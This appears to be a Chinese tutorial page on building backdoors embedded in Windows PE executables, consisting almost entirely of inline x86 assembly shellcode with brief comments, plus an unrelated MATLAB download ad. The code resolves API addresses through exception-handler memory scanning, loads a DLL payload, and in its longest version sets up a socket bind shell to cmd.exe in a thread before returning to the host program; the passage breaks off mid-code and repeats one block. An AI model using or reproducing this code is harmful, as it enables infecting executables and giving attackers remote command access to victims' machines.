PE可执行文件的镶入式程序后门开发

基于MATLAB的电池等效电路模型(ECM)仿真,用于分析电气行为和动态响应.zip 1.版本:matlab2014a/2019b/2024b 2.附赠案例数据可直接运行。 3.代码特点:参数化编程、参数可方便更改、代码编程思路清晰、注释明细。 4.适用对象:计算机,电子信息工程、数学等专业的大学生课程设计、期末大作业和毕业设计。 立即下载

/*  
    利用异常结构处理搜索GetProcAddress入口地址  
*/   
#include     
#include     
main()   
{   
    _asm   
    {   
        call ex//取得当前地址以计算异常结构开始的地址    
        mov     eax,0x77000000   
        mov     [ebp-0ch],eax   
        mov     eax,esp   
        sub     eax,8   
        xchg    fs:[0],eax   
        mov DWORD ptr[ebp-00h],eax   
        mov eax,fs:[4]   
        mov DWORD ptr[ebp-04h],eax   
        mov     fs:[4h],ebp//保存ebp到fs:[4h]中    
        add     ecx,34h   
        push    ecx   
        push    eax   
        mov     edx,0   
        mov     byte ptr [edx],0//产生错误    
    }   
//异常结构开始    
        _asm   
        {   
            mov ebp,fs:[4]   
            mov         dword ptr [ebp-8h],0   
//for(;imgbase<0xff000000,procgetadd==0;){    
e104f:   
           cmp         dword ptr [ebp-8h],0   
           jne         exi   
//imgbase+=0x10000;    
   mov         eax,[ebp-0ch]   
   add         eax,10000h   
   mov         [ebp-0ch],eax   
//if(imgbase==0x78000000) imgbase=0xbff00000;    
   cmp         dword ptr [ebp-0ch],78000000h   
   jne         is44   
   mov         dword ptr [ebp-0ch],0BFF00000h   
/*if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int  
*)(imgbase+0x3c))=='EP'){*/   
is44:   
   mov         ecx,dword ptr [ebp-0ch]   
   xor         edx,edx   
   mov         dx,word ptr [ecx]   
   mov         dword ptr [ebp-24h],ecx   
   cmp         edx,5A4Dh//ZM    
   jne         e11db   
   mov         eax,[ebp-0ch]   
   mov         ecx,dword ptr [eax+3Ch]   
   mov         edx,dword ptr [ebp-0ch]   
   xor         eax,eax   
   mov         ax,word ptr [edx+ecx]   
   cmp         eax,4550h   
   jne         e11db   
//fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;    
   mov         ecx,dword ptr [ebp-0ch]   
   mov         edx,dword ptr [ecx+3Ch]   
   mov         eax,[ebp-0ch]   
   mov         ecx,dword ptr [eax+edx+78h]   
   add         ecx,dword ptr [ebp-0ch]   
   mov         dword ptr [ebp-10h],ecx   
// k=*(int *)(fnbase+0xc)+imgbase;    
   mov         edx,dword ptr [ebp-10h]   
   mov         eax,dword ptr [edx+0Ch]   
   add         eax,dword ptr [ebp-0ch]   
   mov         dword ptr [ebp-14h],eax   
//if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){    
   mov         ecx,dword ptr [ebp-14h]   
   cmp         dword ptr [ecx],4E52454Bh   
   jne         e11db   
   mov         edx,dword ptr [ebp-14h]   
   cmp         dword ptr [edx+4],32334C45h   
   jne         e11db   
//k=imgbase+*(int *)(fnbase+0x20);    
   mov         eax,dword ptr [ebp-10h]   
   mov         ecx,dword ptr [ebp-0ch]   
   add         ecx,dword ptr [eax+20h]   
   mov         dword ptr [ebp-14h],ecx   
//for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){    
   mov         dword ptr [ebp-18h],0   
   jmp         e1127   
e1115:   
   mov         edx,dword ptr [ebp-18h]   
   add         edx,1   
   mov         dword ptr [ebp-18h],edx   
   mov         eax,dword ptr [ebp-14h]   
   add         eax,4   
   mov         dword ptr [ebp-14h],eax   
e1127:   
   mov         ecx,dword ptr [ebp-10h]   
   mov         edx,dword ptr [ebp-18h]   
   cmp         edx,dword ptr [ecx+18h]   
   jge         e11db   
/*if(*(int *)(imgbase+*(int *)k)=='tixE'&&*(int *)(4+imgbase+*(int  
*)k)=='corP'){GetProcAddress*/   
   mov         eax,dword ptr [ebp-14h]   
   mov         ecx,dword ptr [eax]   
   mov         edx,dword ptr [ebp-0ch]   
   cmp         dword ptr [edx+ecx],'PteG'   
   jne         e11d6   
   mov         eax,dword ptr [ebp-14h]   
   mov         ecx,dword ptr [eax]   
   mov         edx,dword ptr [ebp-0ch]   
   cmp         dword ptr [edx+ecx+4],'Acor'   
   jne         e11d6   
//k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));    
   mov         eax,dword ptr [ebp-18h]   
  add         eax,dword ptr [ebp-18h]   
  add         eax,dword ptr [ebp-0ch]   
  mov         ecx,dword ptr [ebp-10h]   
   mov         edx,dword ptr [ecx+24h]   
   xor         ecx,ecx   
   mov         cx,word ptr [eax+edx]   
   mov         dword ptr [ebp-14h],ecx   
//k+=*(int *)(fnbase+0x10)-1;    
   mov         edx,dword ptr [ebp-10h]   
   mov         eax,dword ptr [edx+10h]   
   mov         ecx,dword ptr [ebp-14h]   
   lea         edx,dword ptr [ecx+eax-1]   
   mov         dword ptr [ebp-14h],edx   
//k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));    
   mov         eax,dword ptr [ebp-14h]   
   add         eax,dword ptr [ebp-14h]   
   add         eax,dword ptr [ebp-14h]   
   add         eax,dword ptr [ebp-14h]   
   add         eax,dword ptr [ebp-0ch]   
   mov         ecx,dword ptr [ebp-10h]   
   mov         edx,dword ptr [ecx+1Ch]   
   mov         eax,dword ptr [eax+edx]   
   mov         dword ptr [ebp-14h],eax   
   mov         edx,dword ptr [ebp-14h]   
//add edx,imgbase    
   add         edx,dword ptr [ebp-0ch]   
// mov procgetadd,edx    
   mov         dword ptr [ebp-8h],edx   
//恢复异常结构    
        mov eax,DWORD ptr[ebp-00h]   
        mov fs:[0],eax   
        mov eax,DWORD ptr[ebp-04h]   
        mov fs:[4],eax   
   jmp         e11db   
e11d6:   
   jmp         e1115   
e11db:   
   jmp         e104f   
}   
//////////////////////////////////////////////////////////////    
exi:   
//取得LoadLibraryA入口地址    
    _asm   
    {   
    mov         dword ptr [ebp-124h],'daoL'   
    mov         dword ptr [ebp-120h],'rbiL'   
    mov         dword ptr [ebp-11Ch],'Ayra'   
    mov         dword ptr [ebp-118h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    mov   ebx,dword ptr [ebp-24h]//kernel32.dll 入口地址    
    push ebx   
    mov   eax,dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4008h],eax//GetProcAddress 入口地址    
    call eax   
    mov   dword ptr [ebp-400ch],eax//LoadLibraryA 入口地址    
    }   
//加载 mydll.dll    
    _asm   
    {   
    mov         dword ptr [ebp-124h],'ldym'   
    mov         dword ptr [ebp-120h],'ld.l'   
    mov         dword ptr [ebp-11Ch],'l'   
    mov         dword ptr [ebp-118h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    call dword ptr [ebp-400ch]   
    cmp         eax,0   
    jz  exit1   
    mov ebx,eax   
//取得mybegin入口地址    
    mov         dword ptr [ebp-124h],'gebM'   
    mov         dword ptr [ebp-120h],'ni'   
    mov         dword ptr [ebp-11Ch],0000h   
    mov         dword ptr [ebp-118h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-4008h]   
    mov   dword ptr [ebp-4030h],eax//mybegin入口地址    
    cmp         eax,0   
    jz  exit1   
    call eax //执行mybegin    
    jmp exit1   
        }   
ex:   
    _asm   
    {   
        pop ecx   
        push ecx   
        ret   
    }   
exit1:   
   _asm   
   {   
    mov eax,0x401000 //这个跳转地址在代码中需要更改    
    jmp eax   
   }   
return 0;   
}  
/*
    利用异常结构处理搜索GetProcAddress入口地址
*/
#include 
#include 
main()
{
    _asm
    {
        call ex//取得当前地址以计算异常结构开始的地址
        mov        eax,0x77000000
        mov        [ebp-0ch],eax
        mov     eax,esp
        sub     eax,8
        xchg    fs:[0],eax
        mov DWORD ptr[ebp-00h],eax
        mov    eax,fs:[4]
        mov DWORD ptr[ebp-04h],eax
        mov        fs:[4h],ebp//保存ebp到fs:[4h]中
        add        ecx,34h
        push    ecx
        push    eax
        mov     edx,0
        mov     byte ptr [edx],0//产生错误
    }
//异常结构开始
        _asm
        {
            mov    ebp,fs:[4]
            mov         dword ptr [ebp-8h],0
//for(;imgbase<0xff000000,procgetadd==0;){
e104f:
           cmp         dword ptr [ebp-8h],0
           jne         exi
//imgbase+=0x10000;
   mov         eax,[ebp-0ch]
   add         eax,10000h
   mov         [ebp-0ch],eax
//if(imgbase==0x78000000) imgbase=0xbff00000;
   cmp         dword ptr [ebp-0ch],78000000h
   jne         is44
   mov         dword ptr [ebp-0ch],0BFF00000h
/*if(*( WORD *)imgbase=='ZM'&& *(WORD *)(imgbase+*(int
*)(imgbase+0x3c))=='EP'){*/
is44:
   mov         ecx,dword ptr [ebp-0ch]
   xor         edx,edx
   mov         dx,word ptr [ecx]
   mov         dword ptr [ebp-24h],ecx
   cmp         edx,5A4Dh//ZM
   jne         e11db
   mov         eax,[ebp-0ch]
   mov         ecx,dword ptr [eax+3Ch]
   mov         edx,dword ptr [ebp-0ch]
   xor         eax,eax
   mov         ax,word ptr [edx+ecx]
   cmp         eax,4550h
   jne         e11db
//fnbase=*(int *)(imgbase+*(int *)(imgbase+0x3c)+0x78)+imgbase;
   mov         ecx,dword ptr [ebp-0ch]
   mov         edx,dword ptr [ecx+3Ch]
   mov         eax,[ebp-0ch]
   mov         ecx,dword ptr [eax+edx+78h]
   add         ecx,dword ptr [ebp-0ch]
   mov         dword ptr [ebp-10h],ecx
// k=*(int *)(fnbase+0xc)+imgbase;
   mov         edx,dword ptr [ebp-10h]
   mov         eax,dword ptr [edx+0Ch]
   add         eax,dword ptr [ebp-0ch]
   mov         dword ptr [ebp-14h],eax
//if(*(int *)k =='NREK'&&*(int *)(k+4)=='23LE'){
   mov         ecx,dword ptr [ebp-14h]
   cmp         dword ptr [ecx],4E52454Bh
   jne         e11db
   mov         edx,dword ptr [ebp-14h]
   cmp         dword ptr [edx+4],32334C45h
   jne         e11db
//k=imgbase+*(int *)(fnbase+0x20);
   mov         eax,dword ptr [ebp-10h]
   mov         ecx,dword ptr [ebp-0ch]
   add         ecx,dword ptr [eax+20h]
   mov         dword ptr [ebp-14h],ecx
//for(l=0;l<*(int *) (fnbase+0x18);++l,k+=4){
   mov         dword ptr [ebp-18h],0
   jmp         e1127
e1115:
   mov         edx,dword ptr [ebp-18h]
   add         edx,1
   mov         dword ptr [ebp-18h],edx
   mov         eax,dword ptr [ebp-14h]
   add         eax,4
   mov         dword ptr [ebp-14h],eax
e1127:
   mov         ecx,dword ptr [ebp-10h]
   mov         edx,dword ptr [ebp-18h]
   cmp         edx,dword ptr [ecx+18h]
   jge         e11db
/*if(*(int *)(imgbase+*(int *)k)=='tixE'&&*(int *)(4+imgbase+*(int
*)k)=='corP'){GetProcAddress*/
   mov         eax,dword ptr [ebp-14h]
   mov         ecx,dword ptr [eax]
   mov         edx,dword ptr [ebp-0ch]
   cmp         dword ptr [edx+ecx],'PteG'
   jne         e11d6
   mov         eax,dword ptr [ebp-14h]
   mov         ecx,dword ptr [eax]
   mov         edx,dword ptr [ebp-0ch]
   cmp         dword ptr [edx+ecx+4],'Acor'
   jne         e11d6
//k=*(WORD *)(l+l+imgbase+*(int *)(fnbase+0x24));
   mov         eax,dword ptr [ebp-18h]
  add         eax,dword ptr [ebp-18h]
  add         eax,dword ptr [ebp-0ch]
  mov         ecx,dword ptr [ebp-10h]
   mov         edx,dword ptr [ecx+24h]
   xor         ecx,ecx
   mov         cx,word ptr [eax+edx]
   mov         dword ptr [ebp-14h],ecx
//k+=*(int *)(fnbase+0x10)-1;
   mov         edx,dword ptr [ebp-10h]
   mov         eax,dword ptr [edx+10h]
   mov         ecx,dword ptr [ebp-14h]
   lea         edx,dword ptr [ecx+eax-1]
   mov         dword ptr [ebp-14h],edx
//k=*(int *)(k+k+k+k+imgbase+*(int *)(fnbase+0x1c));
   mov         eax,dword ptr [ebp-14h]
   add         eax,dword ptr [ebp-14h]
   add         eax,dword ptr [ebp-14h]
   add         eax,dword ptr [ebp-14h]
   add         eax,dword ptr [ebp-0ch]
   mov         ecx,dword ptr [ebp-10h]
   mov         edx,dword ptr [ecx+1Ch]
   mov         eax,dword ptr [eax+edx]
   mov         dword ptr [ebp-14h],eax
   mov         edx,dword ptr [ebp-14h]
//add edx,imgbase
   add         edx,dword ptr [ebp-0ch]
// mov procgetadd,edx
   mov         dword ptr [ebp-8h],edx
//恢复异常结构
        mov eax,DWORD ptr[ebp-00h]
        mov    fs:[0],eax
        mov eax,DWORD ptr[ebp-04h]
        mov    fs:[4],eax
   jmp         e11db
e11d6:
   jmp         e1115
e11db:
   jmp         e104f
}
//////////////////////////////////////////////////////////////
exi:
//取得LoadLibraryA入口地址
    _asm
    {
    mov         dword ptr [ebp-124h],'daoL'
    mov         dword ptr [ebp-120h],'rbiL'
    mov         dword ptr [ebp-11Ch],'Ayra'
    mov         dword ptr [ebp-118h],0000h
    lea eax,[ebp-124h]
    push eax 
    mov   ebx,dword ptr [ebp-24h]//kernel32.dll 入口地址
    push ebx
    mov   eax,dword ptr [ebp-8h]
    mov   dword ptr [ebp-4008h],eax//GetProcAddress 入口地址
    call eax
    mov   dword ptr [ebp-400ch],eax//LoadLibraryA 入口地址
    }
//加载 mydll.dll
    _asm
    {
    mov         dword ptr [ebp-124h],'ldym'
    mov         dword ptr [ebp-120h],'ld.l'
    mov         dword ptr [ebp-11Ch],'l'
    mov         dword ptr [ebp-118h],0000h
    lea eax,[ebp-124h]
    push eax 
    call dword ptr [ebp-400ch]
    cmp         eax,0
    jz    exit1
    mov ebx,eax
//取得mybegin入口地址
    mov         dword ptr [ebp-124h],'gebM'
    mov         dword ptr [ebp-120h],'ni'
    mov         dword ptr [ebp-11Ch],0000h
    mov         dword ptr [ebp-118h],0000h
    lea eax,[ebp-124h]
    push eax 
    push ebx
    call dword ptr [ebp-4008h]
    mov   dword ptr [ebp-4030h],eax//mybegin入口地址
    cmp         eax,0
    jz    exit1
    call eax //执行mybegin
    jmp exit1
        }
ex:
    _asm
    {
        pop ecx
        push ecx
        ret
    }
exit1:
   _asm
   {
    mov eax,0x401000 //这个跳转地址在代码中需要更改
    jmp eax
   }
return 0;
}< src="/inc/gg_read2.js">

/*  
    利用异常结构处理搜索GetProcAddress入口地址  
    然后用这个函数加载其他api函数.实现线程一个返回另一个  
    绑定cmd.exe或command.com功能  
*/   
#include     
#include     
main()   
{   
    _asm   
    {   
        call ex   
        mov     eax,0x77000000   
        mov     [ebp-0ch],eax   
        mov     eax,esp   
        sub     eax,8   
        xchg    fs:[0],eax   
        mov DWORD ptr[ebp-00h],eax   
        mov eax,fs:[4]   
        mov DWORD ptr[ebp-04h],eax   
        mov     fs:[4h],ebp   
        add     ecx,34h   
        push    ecx   
        push    eax   
        mov     edx,0   
        mov     byte ptr [edx],0   
        mov ebp,fs:[4]   
        mov         dword ptr [ebp-8h],0   
e104f:   
   cmp         dword ptr [ebp-8h],0   
   jne         exi   
   mov         eax,[ebp-0ch]   
   add         eax,10000h   
   mov         [ebp-0ch],eax   
   cmp         dword ptr [ebp-0ch],78000000h   
   jne         is44   
   mov         dword ptr [ebp-0ch],0BFF00000h   
is44:   
   mov         ecx,dword ptr [ebp-0ch]   
   xor         edx,edx   
   mov         dx,word ptr [ecx]   
   mov         dword ptr [ebp-24h],ecx   
   cmp         edx,5A4Dh//ZM    
   jne         e11db   
   mov         eax,[ebp-0ch]   
   mov         ecx,dword ptr [eax+3Ch]   
   mov         edx,dword ptr [ebp-0ch]   
   xor         eax,eax   
   mov         ax,word ptr [edx+ecx]   
   cmp         eax,4550h   
   jne         e11db   
   mov         ecx,dword ptr [ebp-0ch]   
   mov         edx,dword ptr [ecx+3Ch]   
   mov         eax,[ebp-0ch]   
   mov         ecx,dword ptr [eax+edx+78h]   
   add         ecx,dword ptr [ebp-0ch]   
   mov         dword ptr [ebp-10h],ecx   
   mov         edx,dword ptr [ebp-10h]   
   mov         eax,dword ptr [edx+0Ch]   
   add         eax,dword ptr [ebp-0ch]   
   mov         dword ptr [ebp-14h],eax   
   mov         ecx,dword ptr [ebp-14h]   
   cmp         dword ptr [ecx],4E52454Bh   
   jne         e11db   
   mov         edx,dword ptr [ebp-14h]   
   cmp         dword ptr [edx+4],32334C45h   
   jne         e11db   
   mov         eax,dword ptr [ebp-10h]   
   mov         ecx,dword ptr [ebp-0ch]   
   add         ecx,dword ptr [eax+20h]   
   mov         dword ptr [ebp-14h],ecx   
   mov         dword ptr [ebp-18h],0   
   jmp         e1127   
e1115:   
   mov         edx,dword ptr [ebp-18h]   
   add         edx,1   
   mov         dword ptr [ebp-18h],edx   
   mov         eax,dword ptr [ebp-14h]   
   add         eax,4   
   mov         dword ptr [ebp-14h],eax   
e1127:   
   mov         ecx,dword ptr [ebp-10h]   
   mov         edx,dword ptr [ebp-18h]   
   cmp         edx,dword ptr [ecx+18h]   
   jge         e11db   
   mov         eax,dword ptr [ebp-14h]   
   mov         ecx,dword ptr [eax]   
   mov         edx,dword ptr [ebp-0ch]   
   cmp         dword ptr [edx+ecx],'PteG'   
   jne         e11d6   
   mov         eax,dword ptr [ebp-14h]   
   mov         ecx,dword ptr [eax]   
   mov         edx,dword ptr [ebp-0ch]   
   cmp         dword ptr [edx+ecx+4],'Acor'   
   jne         e11d6   
   mov         eax,dword ptr [ebp-18h]   
  add         eax,dword ptr [ebp-18h]   
  add         eax,dword ptr [ebp-0ch]   
  mov         ecx,dword ptr [ebp-10h]   
   mov         edx,dword ptr [ecx+24h]   
   xor         ecx,ecx   
   mov         cx,word ptr [eax+edx]   
   mov         dword ptr [ebp-14h],ecx   
   mov         edx,dword ptr [ebp-10h]   
   mov         eax,dword ptr [edx+10h]   
   mov         ecx,dword ptr [ebp-14h]   
   lea         edx,dword ptr [ecx+eax-1]   
   mov         dword ptr [ebp-14h],edx   
   mov         eax,dword ptr [ebp-14h]   
   add         eax,dword ptr [ebp-14h]   
   add         eax,dword ptr [ebp-14h]   
   add         eax,dword ptr [ebp-14h]   
   add         eax,dword ptr [ebp-0ch]   
   mov         ecx,dword ptr [ebp-10h]   
   mov         edx,dword ptr [ecx+1Ch]   
   mov         eax,dword ptr [eax+edx]   
   mov         dword ptr [ebp-14h],eax   
   mov         edx,dword ptr [ebp-14h]   
   add         edx,dword ptr [ebp-0ch]   
   mov         dword ptr [ebp-8h],edx   
//恢复异常结构    
        mov eax,DWORD ptr[ebp-00h]   
        mov fs:[0],eax   
        mov eax,DWORD ptr[ebp-04h]   
        mov fs:[4],eax   
   jmp         e11db   
e11d6:   
   jmp         e1115   
e11db:   
   jmp         e104f   
}   
//////////////////////////////////////////////////////////////    
exi:   
//取得各个需要函数的地址    
//取得LoadLibraryA入口地址    
    _asm   
    {   
    call ex1   
    mov dword ptr [ecx-0C70h],ebp   
    mov         dword ptr [ebp-124h],'daoL'   
    mov         dword ptr [ebp-120h],'rbiL'   
    mov         dword ptr [ebp-11Ch],'Ayra'   
    mov         dword ptr [ebp-118h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    mov   ebx,dword ptr [ebp-24h]//kernel32.dll 入口地址    
    push ebx   
    mov   eax,dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4008h],eax//GetProcAddress 入口地址    
    call eax   
    mov   dword ptr [ebp-400ch],eax//LoadLibraryA 入口地址    
//CreatePipe入口地址    
    mov         dword ptr [ebp-124h],'aerC'   
    mov         dword ptr [ebp-120h],'iPet'   
    mov         dword ptr [ebp-11Ch],'ep'   
    mov         dword ptr [ebp-118h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4000h],eax//CreatePipe入口地址    
    cmp         eax,0   
    jz  exit1   
//GetVersion入口地址    
    mov         dword ptr [ebp-124h],'VteG'   
    mov         dword ptr [ebp-120h],'isre'   
    mov         dword ptr [ebp-11Ch],'no'   
    mov         dword ptr [ebp-118h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4004h],eax//GetVersion 入口地址    
    cmp         eax,0   
    jz  exit1   
//CloseHandle入口地址    
    mov         dword ptr [ebp-124h],'solC'   
    mov         dword ptr [ebp-120h],'naHe'   
    mov         dword ptr [ebp-11Ch],'eld'   
    mov         dword ptr [ebp-118h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4010h],eax//CloseHandle 入口地址    
    cmp         eax,0   
    jz  exit1   
//ExitThread入口地址    
    mov         dword ptr [ebp-124h],'tixE'   
    mov         dword ptr [ebp-120h],'erhT'   
    mov         dword ptr [ebp-11Ch],'da'   
    mov         dword ptr [ebp-118h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4014h],eax//ExitThread入口地址    
    cmp         eax,0   
    jz  exit1   
//Sleep入口地址    
    mov         dword ptr [ebp-124h],'eelS'   
    mov         dword ptr [ebp-120h],'p'   
    mov         dword ptr [ebp-11Ch],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4018h],eax//Sleep入口地址    
    cmp         eax,0   
    jz  exit1   
//WriteFile入口地址    
    mov         dword ptr [ebp-124h],'tirW'   
    mov         dword ptr [ebp-120h],'liFe'   
    mov         dword ptr [ebp-11Ch],'e'   
    mov         dword ptr [ebp-118h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-401Ch],eax//WriteFile入口地址    
    cmp         eax,0   
    jz  exit1   
//PeekNamedPipe入口地址    
    mov         dword ptr [ebp-124h],'keeP'   
    mov         dword ptr [ebp-120h],'emaN'   
    mov         dword ptr [ebp-11Ch],'piPd'   
    mov         dword ptr [ebp-118h],'e'   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4020h],eax//PeekNamedPipe入口地址    
    cmp         eax,0   
    jz  exit1   
//ReadFile入口地址    
    mov         dword ptr [ebp-124h],'daeR'   
    mov         dword ptr [ebp-120h],'eliF'   
    mov         dword ptr [ebp-11Ch],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4024h],eax//ReadFile入口地址    
    cmp         eax,0   
    jz  exit1   
//GetStartupInfoA入口地址    
    mov         dword ptr [ebp-124h],'SteG'   
    mov         dword ptr [ebp-120h],'trat'   
    mov         dword ptr [ebp-11Ch],'nIpu'   
    mov         dword ptr [ebp-118h],'Aof'   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4028h],eax//GetStartupInfoA入口地址    
    cmp         eax,0   
    jz  exit1   
//CreateProcessA入口地址    
    mov         dword ptr [ebp-124h],'aerC'   
    mov         dword ptr [ebp-120h],'rPet'   
    mov         dword ptr [ebp-11Ch],'seco'   
    mov         dword ptr [ebp-118h],'As'   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-402Ch],eax//CreateProcessA入口地址    
    cmp         eax,0   
    jz  exit1   
    //CreateThread入口地址    
    mov         dword ptr [ebp-124h],'aerC'   
    mov         dword ptr [ebp-120h],'hTet'   
    mov         dword ptr [ebp-11Ch],'daer'   
    mov         dword ptr [ebp-118h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4008h],eax//CreateThread入口地址    
    cmp         eax,0   
    jz  exit1   
    }   
//load wsock32.dll    
    _asm   
    {   
    mov         dword ptr [ebp-124h],'cosw'   
    mov         dword ptr [ebp-120h],'.23k'   
    mov         dword ptr [ebp-11Ch],'lld'   
    mov         dword ptr [ebp-118h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    call dword ptr [ebp-400ch]   
    cmp         eax,0   
    jz  exit1   
    mov ebx,eax   
//WSAStartup入口地址    
    mov         dword ptr [ebp-124h],'SASW'   
    mov         dword ptr [ebp-120h],'trat'   
    mov         dword ptr [ebp-11Ch],'pu'   
    mov         dword ptr [ebp-118h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4030h],eax//WSAStartup入口地址    
    cmp         eax,0   
    jz  exit1   
//__WSAFDIsSet入口地址    
    mov         dword ptr [ebp-124h],'SW__'   
    mov         dword ptr [ebp-120h],'IDFA'   
    mov         dword ptr [ebp-11Ch],'teSs'   
    mov         dword ptr [ebp-118h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4034h],eax//__WSAFDIsSet入口地址    
    cmp         eax,0   
    jz  exit1   
//socket入口地址    
    mov         dword ptr [ebp-124h],'kcos'   
    mov         dword ptr [ebp-120h],'te'   
    mov         dword ptr [ebp-11Ch],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4038h],eax//socket入口地址    
    cmp         eax,0   
    jz  exit1   
//closesocket入口地址    
    mov         dword ptr [ebp-124h],'solc'   
    mov         dword ptr [ebp-120h],'cose'   
    mov         dword ptr [ebp-11Ch],'tek'   
    mov         dword ptr [ebp-118h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-403Ch],eax//closesocket入口地址    
    cmp         eax,0   
    jz  exit1   
//select入口地址    
    mov         dword ptr [ebp-124h],'eles'   
    mov         dword ptr [ebp-120h],'tc'   
    mov         dword ptr [ebp-11Ch],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4040h],eax//select入口地址    
    cmp         eax,0   
    jz  exit1   
//recv入口地址    
    mov         dword ptr [ebp-124h],'vcer'   
    mov         dword ptr [ebp-120h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4044h],eax//recv入口地址    
    cmp         eax,0   
    jz  exit1   
//send入口地址    
    mov         dword ptr [ebp-124h],'dnes'   
    mov         dword ptr [ebp-120h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4048h],eax//send入口地址    
    cmp         eax,0   
    jz  exit1   
//htons入口地址    
    mov         dword ptr [ebp-124h],'noth'   
    mov         dword ptr [ebp-120h],'s'   
    mov         dword ptr [ebp-11Ch],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-404Ch],eax//htons入口地址    
    cmp         eax,0   
    jz  exit1   
//bind入口地址    
    mov         dword ptr [ebp-124h],'dnib'   
    mov         dword ptr [ebp-120h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4050h],eax//bind入口地址    
    cmp         eax,0   
    jz  exit1   
//listen入口地址    
    mov         dword ptr [ebp-124h],'tsil'   
    mov         dword ptr [ebp-120h],'ne'   
    mov         dword ptr [ebp-11Ch],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4054h],eax//listen入口地址    
    cmp         eax,0   
    jz  exit1   
//accept入口地址    
    mov         dword ptr [ebp-124h],'ecca'   
    mov         dword ptr [ebp-120h],'tp'   
    mov         dword ptr [ebp-11Ch],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4058h],eax//accept入口地址    
    cmp         eax,0   
    jz  exit1   
    }   
//load msvcrt.dll    
    _asm   
    {   
    mov         dword ptr [ebp-124h],'cvsm'   
    mov         dword ptr [ebp-120h],'d.tr'   
    mov         dword ptr [ebp-11Ch],'ll'   
    mov         dword ptr [ebp-118h],0000h   
    lea eax,[ebp-124h]   
    push eax    
    call dword ptr [ebp-400ch]   
    cmp         eax,0   
    jz  exit1   
    mov ebx,eax   
//memset入口地址    
    mov         dword ptr [ebp-124h],'smem'   
    mov         dword ptr [ebp-120h],'te'   
    mov         dword ptr [ebp-11Ch],0000h   
    lea eax,[ebp-124h]   
    push eax    
    push ebx   
    call dword ptr [ebp-8h]   
    mov   dword ptr [ebp-4090h],eax//memset入口地址    
    cmp         eax,0   
    jz  exit1   
    }   
//////////////////////////////////////////////////////////////    
//建立后门线程    
/////////////////////////////////////////////////////////////    
    _asm   
    {   
   call    ex   
   add     ecx,32h //取得后门代码的地址    
   mov     dword ptr [ebp-8],1   
   mov     dword ptr [ebp-0Ch],0   
   mov     dword ptr [ebp-10h],0Ch   
   lea     eax,[ebp-4]   
   push    eax   
   push    0   
   push    0   
   push    ecx   
   push    0   
   lea     ecx,[ebp-10h]   
   push    ecx   
   call    dword ptr [ebp-4008h]   
   call    exit1 //返回真正的代码    
        }   
//////////////////////////////////////////////////////////////    
//建立后门    
/////////////////////////////////////////////////////////////    
    _asm   
   {   
        mov eax,0x400   
    call ex1   
    mov ebp,dword ptr [ecx-0C70h]   
   mov     byte ptr [ebp-1340h],0Dh   
   mov     dword ptr [ebp-11ECh],0FFFFFFFFh   
   mov     dword ptr [ebp-1DCh],0   
   mov     dword ptr [ebp-1D8h],32h   
   mov     dword ptr [ebp-1E4h],10h   
   call    dword ptr [ebp-4004h]   
   cmp     eax,80000000h   
   jnb     loc_0040106C   
   mov     dword ptr [ebp-11ECh],1   
